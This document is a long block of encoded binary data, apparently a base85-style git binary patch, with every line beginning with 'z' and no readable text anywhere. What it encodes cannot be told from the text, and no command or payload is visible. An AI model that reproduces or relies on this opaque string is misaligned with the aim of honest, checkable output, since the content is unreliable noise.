zVHjO1(GcU6ZtbF%!U~^z+&vJuV)34|miL1;mxz&aK#qAG(PbdJd3rkF<0TFmCwJNo z*^E}K#}$4n2Q&1&NAWqis9l9B>B|z&vL{(UroQ#9*DsCei$~Tr4LrqP32qyy7Y*3B z4g|+SNg9G7yHgN0AUr<T(81GCGiQBkBb!MP{^${VvVLG7W`-tf(k;g1XuwGArH_#< zk$v<iT54$zS!@<{FGKd%tOFh}lc%n0hl>an0~Tg!#I1n)gTAj3nnNm{@poNyRUzzS zO+kCcqkAj#NU~fpBoa!GAEe`Ru8^nh4Z?Fg%2~d{F6c;#=J=xAIoEoVj-1fbM24>! z{9?PS=|R0<fL)8QN*%;cC-fdvwl!U7atR6B`@B+Z5NQ&uMQQa})F?sfM7j*_5#f38 z2fi1BbgK21>Bu~LYkm^Pfe&bOrF@T1*5N5b;_FH_J@{1o<b_+ru9BA~SDAOWA^rCt z^kadPdXu;7TYX!C9=$O$dR+Y_-%$g&_FzG1v0ZLOuFLMoCFXb$Qr-)*d}IOda(a4t zOc?CXibzv4z61MV0NJ9W6wI=yi?XgrMjco9=s#!G$fpUhQ8f?u%k)21{A%)4eAX)v zgou|pf7v^Dq=mQH9Zb5W27|QUTvoV2!7>9+1oI8)D1herBd{E#t6Wi|&KF5QJnH_z z<$O5Np2Xh(Lkz=za8~@~7wU`H?(35zdo}WQ9Q5plz46XOhY>!$^s@K)vef&<0<s3$ zQX=RukM@B?9a_^<DTXXY;0?er6GAYfr7ruh%?y)$1fM{MI}bJx4ZAfo?L7jS{q|eO zOK;2xbJP9u&6Kd%C~m76iV$ZxYzic?o90QsVQJme#IfWhs0hU5B|tl<SgEE<<)FJp z430D%PHjYglIljE#0d`Ux*e!z7hXt4mQac$=q{3^3Q7H#vtWT0UH+mZ!~&vz6h{Xs z+bRH<7X29a+>&oGPUQ*`wu_rYQ(QlqzuO<DDP@Y39yUkZkJvM)87#{Wqg?RL+(b8* z!8gQeb~xRr+L+aX?>%2S8OnQ?4wnL~i3f-$w0yTs-BJwciC4*10L`SUf~89W6J<KB zX_rlJr(34TDRKj!udH(<x-R2YAl}{#7!!W74LY9pBXcuMid;QaaP{D!=K=4mV)oJY zsP+Dtv6)&vvMhIgEIG+*;Z1K~zE<95-YEn}^ql7^ge>5j-!e@VTIk%?uyAi~iHIx3 z+jtez7BwM$h)djIFI{6A`Z~n#3XR8t{ICZ~k{F^>b|erPRDRSZ7{BqFGu}6u370JN z(OpAb;LZ5-t-UpCFGjilyA^tIgP8EWXM4tc2`3>k0(tG58D|LUb3?%HFIljf3|+4* z@J2q7afJHiWVVlEB54^*ycNG0C9ipqkpH3u8`!jb{M5as@TKVvMKGo2Yw_S08P0`< z{NFFSzuR`WcwjNW;fw%)!P)iNj!OW1=Kd&l`7<gjUpl6l{aq$AZQvxl4}XHC?I!O= zhDLlB&S*?vP#Whnj@nD^XU@pwxDSuMCE>!x9Z3R=%4lVB>2|)4(MQ{%_UBj(+U)e1 ziM*ET3+w&0ToD{g^ge@FdYxDsp#tz3oYpwAuaCKFM#(A3#b4WHb1tEYML8RiDo9XM z)!PM-JV4(Ax83^O#mY?lK{}FAu3+so-5b#YOa4&d!!Cv@jacU=Q9afT9|ErpMmgTd z95MPPpZl<xRk6&8t@RL15@A$x9o8m&buN0E8j>x1`xn(*jW|c`q5*cT5LuBH#0%$M z8U_U@$Ds@ktd@WbVV}b9fAF2Zqx+adQ5n}OWyXO_g(-XPYtOsS>@DDCuPq^h&YXE_ z2l0!J4!`kQ`;t8K2W&l-%d>=9Y`fyu^3P;BOm2kKV9&wy?`>zvR;b6u%T_j#zu$xO zui&CNp=QT@QK<E|SA#DO0&N3T{N({Ts*C^>hB;$q<d?)oomF>{gP_!=vT*$U@-~KC zOpP!aOkUqPtXm)${tE9kz&qK6p+4J&P(8Bx7^G_w9}{EM7RZf%Rkv!xy<D#xpd;^h z0uZh#D;r|m79StG_=f<vyIfN}RF@{pPd+;4pYurHosPb`T)C-pU9Vs1ic2*oA(N^I zhaae=BD3s$kNF^2Rwy`&qi<M4p)J>Lz0Uabc}ePi`eH#-H{HUQ9g-r${T6wXz%rI* zSew;xN&2tb0@{<BWn~G{*yjoTk62g&l<q-|8sw*W1uLR<vu6UVB4jW`pRBsyJIs8v z)Xv)X0xXsdLt~t>0t9jk+aIhV2}Vh8gdCz9M|2+dJr1gHN740G=~lK#5mxnz;*-GV z;ULm}e*CN|h(nt1j+Eq0u~+(QqW45WQ$rTZ^-clSFpmxfn46#=z#P!tgZLZoL6`8k zJq0sTaL*evObtF_;GIMSCL}>C+AnLD34;`HyiM2SK@Zbxnu!NGMReuW<yu+;Yf`5R zNnvF^UM<f$RW=<023tjb21{N9gq@Sxf4(9Y&I;=hZB6!AC=3RU1RZWd%XAB}U4edm zPI}GBD@~Q(KJvCde$N`1-x6|&1BOxscn2h#pmm2Bp#wXk3Oi6iV4Juw=ysbf>WBAA zQ||zpuMd8GYTd0#-kw*@Xw8|KH_24oFi6VnId*b!4>5qWU2Z;aX?9@2d@~bdtQkou zf2n8WGU1GBZ*lSLb^C^uIMOyco!}vdIx~h=hi$q{NwbEe$Kiu4ly_~^14H~tQ_H0^ zUwKuhN{=Ylg1%M;&>+Dl9{1YErXI&P8LhfspJtFyHL9)0Dqy=>q?J<8UMW2H65lxR z-1DeCQXP9!J==74!Y6Is;r9BRl7WFde1G|xZ?=ZAf`uaAtJ;uF9FN6mkQ3d?WnFKa zqH6MqvM&O86knKK*fV{Or&SL@B)FAqBiX|eru)>nWt@ArZ?ZL>JygYCs<}}r4^FSB z+wX(h*spT52(dU(fV9f#)dagU;!2e|o;bTAK3!aY`Z9d59fa5nhjPy0C4w{3;$dYr zy;G&kVs_L)M4`Gs*j)wNmzcmM0CwUv$XPE)#_C}#6?4uotFmh^W#D>}7X3*z;ytX7 zE;1(9qfYZj0VH)^_Htv!V}%AuMk1z50ief^IXk`J-%KL0DHpwa=?uBcSnmQsztw5f zIOSYvIe%y7M_(YR*&8q%mf2-;l)pSa)h?L3c1pBocP{dP`6A_SXoqZx^c^FT)ZOuo z>|<9!^y=Xi<_#^atI`O9J=H@&C5!#5SjDjBE8GIzVW|u+v!b)f+W}&76-&xOud>Rz zfNj!es)bxW^ffxUtf6)v8cex97gC+1){a^*S){8*GOVh>*<9)7TF@=EfWpGNcs4kO z<X;fT?Wo{1l7*;M_%1A%u48s#N%)TvW1(yi*KREGkDnho>|kN2Z^e0}KmQy^A*|dJ z2WISH+LdU=+bCMoJi~G*rZ%y++Gr1QHd&i9Q+J5=6mGVTB^s!(f$6-9F9yw5aUUd^ zL6&H0JY?V0Ck>9+<}l6rQ=mP*ZSmzS*7N>)cDsWXz~5%zWc{Q^p!So)0MCIk)<>N$ z_MGFLqd_-Zpnn^}Q5I_;S50%4n6q_ievWaxy_mskE%edqz8(Cc!Fy0X0gapYsDZo4 zk>WK2&Jk0xo|9!^<D}IE-D<~EBt$|jp_|Vw@EN?!ICHaGxHvfHoHm3pAK8XTV+!a# zgw;4-86Jx+*IW#73=PYCFXzfSvb^iK<qAP94rdfO!-mm#Bt|37f43NFJ6Xh0WVXD= zDL|QCUvVRvUs*Q$qID`e$Z&yW-F1o#5$^;;plqQ!m)4=`Y|0r(2u#||C#5h(Hte$G zV%LA@4lU+EZqOl5su8+0u4H_t=Ye%z^SC`s;_bV3|2milrA57}u%R2|<btU+y|i;$ z3{C`D0jHaKWmVr8F!7dfse}*9^#YIlXOWCT57Rz06<P80l^;ou7o_7@o15925!cO@ zKcTmbRF`F2pK10c3{~`IIm_pzMXlR3pEp0&RM(mT1mDckPLGP-K^M0VH4sN%g6|XM zC#qc4ZTqcZZ3;rjNXp|nqO})}HY)HRzK|BYN%hIh7M;jiX3M3>pHWVHI5)x&q5UG5 z(ur7>Ny*NYPs#4>z+{jk-@sc`8Ph$rWuLF6oTPM0mJ7ybLzI0i6c|0-UD$*2F9`kG z3-BTt*%LWOXmua++lubuxqhaSaMtglfu{(x4UpDppCqV^f0V$mXR-S|GE>}gMj<7> z5H5IDOdA(ADe{vDVID|c1nYnFz?A%4$FXD320q44hPGTZT}v?<eET(s`Y&s%^Xgm| zy!<1-9~4}cCkEtbl(Hd{#rL4$l5Y<HWMKZ4ipL{M4WI%2Z+KvTCf&r(;pV?LI=>pB z|EzYoL(`eM-<>=99U-xaa&R;>PY#G#fs&OpgRgJ^ogQRN-g*F4A6kT0V@izwd{=xf z^h*T&U$yxE^O5>LBKH5P|9^Bs1`CLp@03&SLE1n?rfAm-#6PGdu!?N^ERl1(TOXNC zDq`r3UkBS>B~YD;Tn;#CK*8$rcEgVp7FnzW%CWyOjY6-Z??Io_e)(=B7L4=HA8p=P zHr+kg10Uo-E^9MHKw3Yx1!n<&=tZ6E&9)AdDM$VVuIG;*g#0vBuA<z-|DOE6$^J8Q z{x`$@Q&N8wHM3cBWD|O+M~SAv!}YJ$-yGL|(d)ZVCO^vlNzDFR?*3Lm|E+QU(l7t5 zYyXciaogfWqZVNz2A1e?b@-v(GBBvOuf>#z^LW!g+}VA5*h`c8o~tXwk)8vmq~ps+ z*SDUFF7;@<4BycbL9pMDbS_nAif)0roZg@dpjc0Z))A=7v4>2GLLISDFs2}_o#T*= z5U8Sc(-pAs{quK8ML<rZhb0v{S1Z5?D8d7%cp4OkGY?2`K#tQq?m<1+UBfSk{cag7 zRiG~SpfypT<|q7*z2=}?px&PJHhU3rEMj{q2M>65$b>*nC<%Ne59DT6f!$Ptw@oKq zzzHm_#oI7V4=kAfLm*KG`;=!p7CoMwl8Htq`b2I~MJB#xV2qUhp@$63ufQQ_iI~T- zP~CK6B$L-3*dtdEWq#YoZ%SNAM!{MJLNeKD`HFK6q^N#Fb|tFAci-*`_8l!b7iJc_ z!DjZf60dsIkRAq>EXm5TT#Y|TjhB5=7?P_=nXTdDYjzSTLh<hV1s)GE7>Rd^Bw&5< z_X{GHf9W>3FhN~8T0v+OwL~6#w!hL);mGH8we%Vu4*iRjfXjE|v#j?NqZRQi1yb-+ z83D^mC(mj=^7yi@si|{>qJ0eIHG$`s!<p##g}dZ`U1!{8^};L@raTkWS`BfED1@be z)wIsoHLXw|c(dlPHWKbt<IE3BuGHfNxY}i77Uk1RaeCYzQyj(PUZ?1N_~!ZOV=avJ z&pZcIO#HyIS=EQg8e2(nk*gCra#AiUC^+QES6(_4CJ`898-zCQ6AG8Y%O;-+I0SgN z#}{6O?^A_}AO<;C-gOhgxOT&lO!Lb<JouUI{~Z$UE|h1?yVdMwdNuR9lU!UjU3_W! z&M$;5PWb4)Q|r4KPJ#<fojpm%QGGT^jK^(+OZS!W;Zb1GQ$Qh-P7}>QRpE~y{~~2d z^Uf``T7l|u>iFRr&wLCmC6N=iRUeu7vSW&ZcqlfASqAi}z0WusqsCV&KZRe@!#Uem zs!{M`kr5R>Z@<QvTMi#XUi__;zPc233Ln$h=2VfJ)8r^hw2G*fcrn<TDzF;rLYI$T zpdP<;USR1#S$`sgWjo_hvhI=vV=!Mu1!nHYBio>D#@`x%S-W$h_(igRRt>oZEu$X3 zQXAtAW93iSF=Sq6@+8n$z+*&eerUGKDoV*sA}TGfPCDO*f;lHz#|yQI!qyXVpM~>) z$_m9d@V8zN+=G6Lg+Pc8`%Mx0^xG#hZ&@hE*m|hGmU@}L?H<Hd#oFLg)UBo{?vNk7 zg)Ml?`)oV36HejP$tz#{;8V@j0|Wz|S{r;Xuz&Yy!!-=}_ww;Z5NRyF4Kf>AD{X;6 zl<n=vZH(N;uZOo!rl$(!pae>X_D+k?wppcJO&qgl7g}Ho>cpiRm9@6pvlZ;pA{j4a z1=B{pS4;tgD!)^D@@52R@nE0M97mK0Nh_nzrsI~ot+~&hlS!u6@C_kv3YhII`PCGM z<5?{629}v^Sv(Evo@JMr+ZT|*N^1TPh~xx`UPcB=%+%3-yDk~=ONBMq^ZEFqxQ|{C zwb;Z<GOZl*3(W?{E0rl)oSJi1H;xi4PaG?kxyPH=8Al)t=h&q`*UrsHFzV(LzYwyt z(E9E8g@OT~-JkWj*v|x}4@rH`hyEW3*~;cuw6@<#di6C8ERbvY$+rB=f&brv<lq!S z^p@9WH?)s1x1gZCIWyxO+UAlgE>z>RH}FR37kVgzf2sud{~0a*SMbLUq&1F#cYgd> z%G|@ra*x1eZ#RY^yx0g2-r!u{&FL#D>3_gs70ye<tn|psRuM9>1Op}6b<q{940Wjx zMl=n&tbG);>h&`6Ly?WRVa;uI$MhyEcZ3m>2-e;@&;2oSc(<isc>d+!N@!ETi?ZJf zwrZ_lthH@Xfo~4iv^?@BF7cA^Uc~8!MkR`%8h(_GxUn&QHvIb00!s@HVnL}YBQ>V< z8_g#uv~RFN#ZJ!1e3bWwGzn*#rGGz*asfY9Eyv#0q+u!jqa>y!jmVl{u6}R++FXXO z4`lJ+5*tLN<!TNeRiOo3mkHyrV9w#aVtY_h$>K-5mV`$H&$t)*0$jASkG^w#(*ya* z9s5Om=>*_gO6PUvr+12V%)*gnS?2~YKC`laBEUi6dELZ)yKP<s>wkL3NS>HFX2|Bz zw8vOUuN#)0@ZD;O$RuY7B)^U<-}GC}{=!An{*!Np-d%z&7wHWC7hx>HR+ci)y(zre zgVDH&<YpCu;H+n6gs2HPm4PSeDwuga6m;!A;?q}rA#|Wk+fdpm0F?vagye6uL%zQQ z{?nsC0<=^Dt{Z&~>9wR63@~J2n|7>Vq=m6}#D+(mweB8C_U|gw`*PY`@lZqa_mD#9 z*Fkz-gYLQ`o5_$%(sg3XJBa$@pFEIX%(=2-@<$HjA~Fe%iZp48%{-fagvTjncuTUq z&qX~veKY)8s#LftLp5|XG)0_|`>bu@xG)*wHOy(0{JRml9ASw!Q9mdDmRcxD55_DD znMcm|M@HyzJ{ct`#e6+^wA!uON7l(>Q%wz@M3*t-!^Cjve@2)n+{qD3{5>$1jazxf ziCdN-i7jZllY3R(hW)o|PERjhUPi!_m#ZyIeZw7$@YLAoks6oYCj~TY`9Zz}r|&&f z{$ZENQlpl_y;dW`-g6}g+KQr219W}*FuJ%8;sCG5^!Hv5_w7@f(z1s7F^2r*x;_!2 zMk}qCdzSf+Q^*VFXG?;4u%+7Llq!Rk=?4TSj+jz>jbHTD(fg8{TPgLS*n5S%l*$#d z97z5TMBd}Tubh@&$bIPsdyK5%y~LWPtW9_q{j;bUMbQjam<`4c!93kx7jU8!<Ce`E zxMZuUyvJ9a%_Ng~1$u3;V@mcx&D6p0@KRp(zq3p!fcsSQ$lsAOgzl+Yzc9Yn)Km+a zoTv;QaZ1m5H<@(SCEfJFet~tx9uH-euK~L}d&W{2xpAB4t}iHO?v3+n6AHtb??2nJ zUjr>+Fv6S^%Imn`B$Ff_s>;fF>R5iWx(%HOQ+RV-76seU3_&om6tYm`$?Ldfcg{Ku zQL`!rPbrD&NI4jg4VPo5&>OL{JCEjyshZ#G6?uun3(e0W&{5N79ZG5zybJ}5k`MJ? z1CwKj;3?b;A3v=-yw%1Z{~n?eH*%z4O}9PB#%?EyuyaCZ@*%XZMglgQzs_7wM=A=a zpZzh$`$ehH6TbNt950w1<o;ILXK}hd^PLnk0~g%|tTq2pm>M?iTxR}%7<#@I`~Oc| zsq*h*?eydh=i2>vcXNA^G4ZGuo|E>>&t4HzMs|5t4>hT;(*LjAfO@bVog<yTh+K`s z8A_f>0T;-NEr77w89pQz)w^(xH;%L*v?{Jj<g-u|Hl+FWmQ9J~D_SZkPV0=wKm|0~ z(v{vL?3o0AM<4~wPPl@I<>K@6o#y3I$_Xnb$Mx}jgQ_H__yLzSf4um+@TU1Ly!>q% zw>m#5ViXd_q*n1{$x#c3`H1v=#{Po!QWH~aR#9$zeiX-ZJi?CAd^r*GOtbUQR;K4+ zh#FL;w^bB%CDb5;q^3ywF*(HPxmmyVz_@ofRlLfHKxJIL@&zu!y7+jh?fWH-ho1-| zOOhprMk^2<`ZBA%<P$m=xNXGS{kz>T2Ju!Fa^+tzqPnAFZoAp(<9`sR@-~XntfTc& zlNXiYT<UHi25qURbaFk8Nvjw+oi!I>jb(f$fnx9axugomZqeDx7jG|MeKTdJnwZd~ z(Qf$b$mx<{W#+f(hY`Il7qL8)7yBr7c+bHF2HUuO9u8E&y%Pfuav3;#TR^aPsj3lU z;S#xD<R`v6I76A^&WbWaBu5LZ4nn(Z?Ge7z<#aCjg+<zXb%VyUjw~4ST=a#h-5E){ z&DaR?x_eb@o4LVsxhP5gyegC;$S-)6j=r4l=NM&9%}jrw4W9tB=P&5*TK13N-qgR# zXSo_d$Ky_#?);qLzo(C((b;Hs#U0v>uPIJ}S`)&T7oX}?WuL1<vQ6vk=*EyQa@Q3@ zu=Of;NfV}gskIsp?*!I;z4R1SW>KcLI{2K+oxabxvKk|sDc9yD4aEbcNDa7?K--B@ z)32iQRi6$Rg2IK1>v6&)tk=5zEROhaj6zL9?Pu|tyU5v(mfy{E!Od{S+UTlCnHfvq ze-)+hAr-`<)fYW%cb`DTvaTj3T41S*n{c>64WE~VQ$AksdKwwU>f=@;1TAo**^+;o zL>sSIT2sku=~Gfyt&#UhR}Hq047F!&6}_<w1f$9>clI!|qiT#YLgIroUD9i|9^PVj zTN6b%65Ehar?Uc%Bc}{}QGX%AH1*oroNmrddERg|As+am;^kt~ET=~&F5z>%`21X{ z>4r7oEJW$zss=fsr7PJ}D%i%>I1PJi=Q(cqj__qS#JQR4uaqCE#m@Idlo#VuQ`Wu* z@poY5|Ih45{=eHz)GQgx1P-(XQwI6W*HlHgP$Q{n096R`ikn}NZQruJ%+NI3&elsZ zT{kA%e+cUp?DlR0?Bfu!VsqZZU#pdV9WzGRfGJ5ajc61|`=S&jA%)_(-snON67AwO zv;kCSmc!AQdJ!?Jp&iS06{eX&bK})>B~Eq{Dg;L`?$<GiQ$V0*Ho;jLK#6XK5tH7i zZ(-Mw&V2EL=y{h_7XKbrtt#)_eBF_B$3UHin1PYGl?AlDM7YQ&WB_v&N8j0sSc2cv zVKy0)V=XpdMRGK~?m1&kqajcv(hN^{Zq*FyG`G^|nlDM?29$4mbkqrmn&UC+eUd9! zeSnAz8(KGh%(DZOGMLV|<jGg4j@RdfQpKrBH#3=>L@JBeCxi+I$M8oa#k8d+Hg5tp z=y|gB^gXEb^kDa(>@Ini(D1nO06lT`c3{@mzHT-POKSOQ->4c_T|3d%oVT^f&@ogD z{}U%UtqKa-0{Xz9YoT4h3sb5B3iVUBa?XiwJy<)uLIl{KBtwP05>`SqZ`KR7F9YY* zHPu@(r?!r?#7i|RvLoZP(!(OiD?t<qC?-vkZ9w=-n2axEze1iTjXY#ToL@QoYV&d9 zW}@Aas)2otam!G@&D(&>)+GbZHtAvl+YjA0pp#b`&R4PX>#nhLY!`R6wwh~L5S`>J zud%k3&oLZA*@cmrpTA)E6Z3EO!;oXV&kujpBFBms>cPVSa}@M_)S8jJtTaGs>b5T4 z|6{-?YWrF!I7*hn#8}jYXT4^I#%&+@rH;f{f$pdyBj=SN=Y?ru2&S*;y09b>Cil}= zSph<UV#}h>YE}$D_Nt_O)WetzWB!TY$*K=>*!u3~SJLRoltQNfCis`|pZE9JYjz7P z^7m$zpJGj7xO%0_*>N%5gBX&;=iUfjt(R2<DODuOXbDScxVvUju06J%*_WU!?zfR~ zLqUH*FBrf($K;^0z#O-4UKdl|z&mojr$$xhW5mi@+y>JytwQdt2pbsqJub&_nZB-$ zcF!;vhN#CPP)X*67bg|ZKJU$GhoQV!sOEfp`?0K5sur7!`?$|j+%=$d$+mpObD$Z- zWjV;V5eFn>5Wh58n75>D39sv~ZwnE{)+_`T5^l79sE;VK<`(d=SCk_pMiFGL@y1dd zEkELC=|QdN5o6Wpyy|5h@_w}5qT6m#0OYYh1{~}iX}j9EhN%%!63TG8iZYzt%t{Ex z?#-0aq+LTB&yl5rw)o{vnj1YMGNoNgD8QCc)MiM9ETI~D+%WckR8qZdPon*-aPu(o z?u%2cNI{z>p*b^4)sr42%x>WaE>|{>mTklz)Wp#=Rv|lZFgw-&`{?EB?i$Kb*Bg7x zJRz*2b`pvfhgr_#Q_5Oc3X;w9tpPNd|5Ew<r`E2_9S#8(TP;1UssHRab;Hq=Tsk<p zhuL$IyY$9x<G`fog;|Ep^UcCcW)xv-b^NDe20kKFm~+osp1Ks=4)`+1<iO)o2ERnn z{h(&OG@u~By~xhuDn-!W%|y<cZ-Qr!v$rH8MrrGf{!-kDH9Jq`+HxV9_oXXtBzb!T z%^V?3n_Uv(HmX}Zo3(Y!*;%2545gezg?$L_=U@UlY3+?LdF`r(rg{i3SJg$xhGz0i zC{)=7xK5z$N^SLvO2L8k0qJ1S-rdU8@Ldl2n%-R*`kG1jPkqGB)4`E`=l$TwBnc6> zg>&f9?dHPb0yvTMkFiK+pF@>hDY19lXK%Vr(%c~~PzT7{mshHgzou9f4I9Uh;(Ls( zXc)0cKjHi*6q&UWN5SC|L)S%j1m<bzfkCcz83tL%F=7~8a0MBI_BW(|oc?lLyt}jp zt}ObYQ6ya$e$%R;q4DBS%9i2;&zqtWs?gWK<+)cy+~W4cD_|qofR>sPwH~-}%G7uy z@ycv(;~oS$JlOS+g?ddwE|!{FLw<N~@OdYYU0;A%P{ysb{cujKpXfN5Yv|kE+%bzn zr58uzXGaewI6JX5SKCja#pub6@1wMzi`t5v2R3ai0=q&WbM|at=Vx+dcGYF*ToAZ6 z<;70Z&Eevb*pChEMR;HSd4idH5R}T!b#n+Bq_-{_qhD>Zz%nYpH|Fe#U#l!+8u*=h zXhYmzYTvd()YXD{UZHD8g~3rguND$=3zI*XrlMG@1G$6`fEa8;PSNUs<L0PPZ293d zCozS>bYEpWvTK5~fD=Xo=u78&(Afz!^rN{26a5bE$ONyA>SBStdu2uKm+aJl9X{{> zps)$`*Mm43B)|<)p+GhLIeNoAXhhAN<UJCw@Akjt86LR@jlU&5+XbImI41rm*zYj` zypW=GjxM<F9IQ9w6|4S!m23I?DAB(vOwt)WV=kWAmUGpB&RUQS?poX}3%c1~umtmt zBhjE$aXAcOLQKpK)$bzukK=atPgs%#F>qf)(AW+}gDWyTR$?7dvGX?wvJxh8tdtzZ zaGGdfokMX8;iYHo2l-T<ilA%Z=~zD-zdetBk~Tf<5zc~1PaS7C_gycZI#ZT=FYb&} zd0~-uXG>c|#9rT~w^pK#D5jpmmPOubLcrPp;s8~&u-;GZtq%`ah4%TKu=(8(koFI0 zOfAlXBMAv_vW|-=QbTsDA#CWorVzGYx`0cUZu`L{DYyM+4MBIKSMnuIwGg^vNt!=~ zdJgRb#+x|jx{zHH?SyXK=Jn8|-7t~%xBW1MUEC&lC$Bg;>2}kp8IWq;Z2P_<tl2ZS z)w*`nHZZ`qW$@Pk8pSSY3f|Tn`u?HAr4I-%Ec~C?eP6{)gP%OaJ9ML`S=$DqOn<bC z=~!Sh`4)D$p%g4ZY`H?&4F7Ht^&7@mw*=9tzS!5DgxLnC<>Nt9g3f6Y2*Us`{NhuY zk81%T?_jhEMR;_1%IzUuX?^j^j-+$7Ndt^~?IqLXqF>c%RS&bms;j`CILdGXD^#OI zFbcbRX2PX$5E<;hI8q-tcYjxTFE8AzA>;Jgu2IZoAgNlZr$>2cq`plR;P83ij=*<4 z_n;Jl3=vD;)?D1OhQS0XG;S+%zB%9+|2E%){|d>Wf750w1`c44F%F{mbnsL~Oiszm zHdJVv-ldx(-twJ}s#+JSH?H^g#2}wNR+6rguz?(*4YhC2l^x3mnOTTdQ$Oz63HJ<r z+2pAuv&?6ux;hWZ<IT6xIJSJ6*@NE@!iD9cc=){nuY+&bi_ERf95FS7JdoHiYBa`> z)&ji6yAGf9Ccjo(yuKB)-Z|tz_dWyJSTTYR0PVJH23|rQ18=MY<#7-wRh{3>-dTDP zj#{J=RelrciJ+5fg-cI*^a|7j;~s>d4V2=6Ig>9&??FfGkXGDm$k0I6-RV8(R@&)Q z0XkYR?Fn8NJMZx9JGuw4`2&sxGf)Vb94~vb1)N}r`*|uint$s+I*Wb7+;uxh4t?D4 z66$IB7hpiX?dRTmn`t*PRYt%~7BLVDm0bWj?vP92GxV#gKMMbn??Io^ej32MDm7$} zcOHOU@2*6r^cK>;{1X7bbS_*70GIDL>4aSQ{R4qPD|VjzGjlCLSA%(*H|QkdF!9#! z+>|G8pCSWST9V&`-UI9v$)|Y_3hNRF?upU4W}j5j;!e<#wE37e4hfqM>>SUMNmx0L zT>NeaIsC|c2Nwc`1(dELr1f#rDJJ+5{T?)}lDesko~^z;{L*xi3)zBzQv9M?P~R|{ z=yXVOuHtYG-GJyKs><`-<2>>BcVFc2s~+h+L7j83%bGjIZ^QT$C(Th5U35kCt!p{6 zuwXLFpsQ&KLFXEg^cMaev<n!sk53_+6p%yUlx}H}hSbB5t~j4^0t2S;YE#S1Pli1R z9pb`YAIl)%@f#GVg@^}VYP4m~W+a~0;jGi>iBHi+DybGO&X>R)K3E0G*!TKUWALdJ zy!(8;PQNg2Ix}0*)PK};DU1vC7P|+*+=FiDz&}i%H_7;pD}9^bb#!r`GiYw7=CdT( zY)GR5WBsw6+H-WbBry7Pdu>K~9B0-Ogsx~?zMO}za#3>m3$b7$ygfAoPvXomJ~@rQ zExOcMJ3%j4-g7UiJ{tPXbUJM~EWOelg&F2V#@114DqKimW!8bac=+<ue*HZ8T_dLx zBa6yG8&c1GS&$_Q$f}2s6Vu2^Ic>jTOr)yTzjiin>bt&ubre%kr*k-a*A)k3egC;s z%AOTVE$M2E-F0kMp<?A7RoT=$J*S1oKn@Zg(v1nezS6mSn0r_~Q$d$4Wdaq^Ekhd5 z>%^R1JmyxXNo}y7|E+=j&oYER8AxSdQ=wdgSY6}FkuU<aAhIcGN$pEjf8Mx3=zA{1 zM8Ctq7mprdPitMe3zY<{$fH6$vJSjy$i4cdYekGH>O+HiIUgek)d`dgI#r~pnMIg~ zir}Q~8F`$$7|&!<zAkPL@;XUCF(5`om)#k?ZR_92E;v9ZEmqrBA133d2b)y!w47u- z6e8J<pPlm37+SJMpVnxN&>rAStvsABw~a*z(=f-V>YmB-C5Oa_ijgNgifWoXTc=MT z#-7`Wlkr2#D%wWPS}e%OOgR@ax3>A@r@vZxK=bi6(}O+g<c1D0^UT?H_B&LccKU+1 zpV#4A2cvqP2En4}vgoe{#|lZ9Tkl*C&so0=NUf8yMl~b&@>oZ$%N09SQyR5bOPh?3 zJdo!LxBni9M8!NQX7Fu06#MWLICsy?^nbDU-EmQD%eq4n0TDrv3@Ru{l$;qvNg^OQ zgNkIylED!W5F`i)NX`P1C1=T*AtO2GoM9M-*X(=t*}&fFIrrZ4-nsAk2S2)JdRBMW zs#R;Ps;|DHsCFcX#+_rO7uPkY4jTmFlP9`vr0k)DgR^>U5S1uy@ui*PM|Ylw4~+L< zZv@KF^=94l?c;cSpB|qD+Qf5l(W1k;Hbe`QT~X+2u)0dPVvM@mY%^WWiRHl$!Lagw z{$kdj#h$`h#CDJ=BI%pd)jBkIzjC<dN{?LF2NC>N8jUDStvS`3wzN$P4gA<Rju7>H z*yTYDU>ZX`N$UDX|6bVXBZPsF-#0-3KP91??(l6L3U}8(24y?1Ap%=ew*M-J;ml|I zNr4!F2G8wgeBG!Lo__FqgWJ*Dc3-_WU)R@~QEqobhdQ>n$R0Upp(s)jlNQ;2Epyck z>s{(B_Kn~-f!A81)2)WbpYMDc*3{4}DR13uU5rB!pLzTEF1o<$aZGP-(5k=Bc6IH6 zvQx~#Y$aTgay`s2W~+G(ag=ooBG6zYXk2F}E%l#lrwM%;0sKD(wXRl9uy%vzg2#>y zwGnjw`;YRV2Q$E;`Bnch$UF0zw_uznLc0!_I4X0^D_iy}xA?NoUXy^h%E*SW2ao|{ z`M{)@<_=_70?zo*4ah9zK#}$gT>BuZAAVa+AHI3AP6tp5b+W+jJ0uLij%5P;uE0)U zL$SJ3tmp1A=%js|<zePc1T(yS>1@L%=D6h%031_>?5#ldKTjAWED}LZn)lo_B|Lx- zBJ=?~+u3%3$wK!N1WI3dxC=<bJWqD#68NO;nnNxuc;!1_qIHz(TQTD}B;5~uN>I^O z_2B}aMoxpEXI~-sv{;JN=p`mnrD&TB3OG{VB*?M&OeNY3|4ekyzdc_VL~jCeA`e^b zGyNfURw~L^B9xD70KUVMZUO)INm~Ir)k2f!*Bi3d=o{9HDlVww6SQU3VVwmAdaC0; zI+vmJQo&!S!<VvqlUM@E(vprZqck3ph2bN;CbFUFEB;KEIzihV%C1z&y70t6E-;cx zuk4$w2tk*%`x%S*H^zeBKl@pJ0-EIC8KX{-N2NUZ*&gl8N;EmQqO?0xX|{gRQQf^! z^~w8$OY7!h9B4p}<boh;@5^%G$)oAO-NkWQ`%I=)lq=;(ER9K?(xg=0Ev3C#Ye}Vn zj;ZP^LH1j*CaF}@QFUU((^K6X54}OzW~QVvk|;DV)`#5}*98wiSEG|(3r51iV-C%f zc=dOm_A<Y!@^KDb!I{zFISgyia<Kl4|M)_<U67{V+KOR@5xv#S+p?Jw^F#C-w))(= z3lF2O_dp7kckDkMii{*Y=nNCRx4Dr=rX#?!YR}WurrRk3b4jw8WHeet&@b#b9x%m0 zgV;2R?Y8=juLkVPdwS*Xlyd24^td<4FtjpFj}`I^mGacv*XeeOe%%@F)V^XYVP;`k zQVy%JZ0)XR(qKrc*mxSrBCypL>n~T~*}R!$D&H*XC-5cvn{QMz&p276-vNh`H>mPL zahkdchYv~8vXV*UP=omrF;x2lnbl~@KVd6>x2gYioB7wdVGa~QlfHsO)ggT>Bj40M zt4k4#<X3CvKAN*_#pAqEd_4tiUBO?7)=`7^+g3Au4+oM>1y+wKV#MOYJI*i@>`yTa z@()}!JMok)-wsE8;Z*$iUP55$P5)}efHSbnG=vzK<h%2aQ8f>|LDAz|S%}_m!*N9J z)rKt~boIMG`HOqX*@$=>h7)xJ6??x{aq)R#ijpP2Y{bow$&|6G?;+4R7#pZJe4&>C 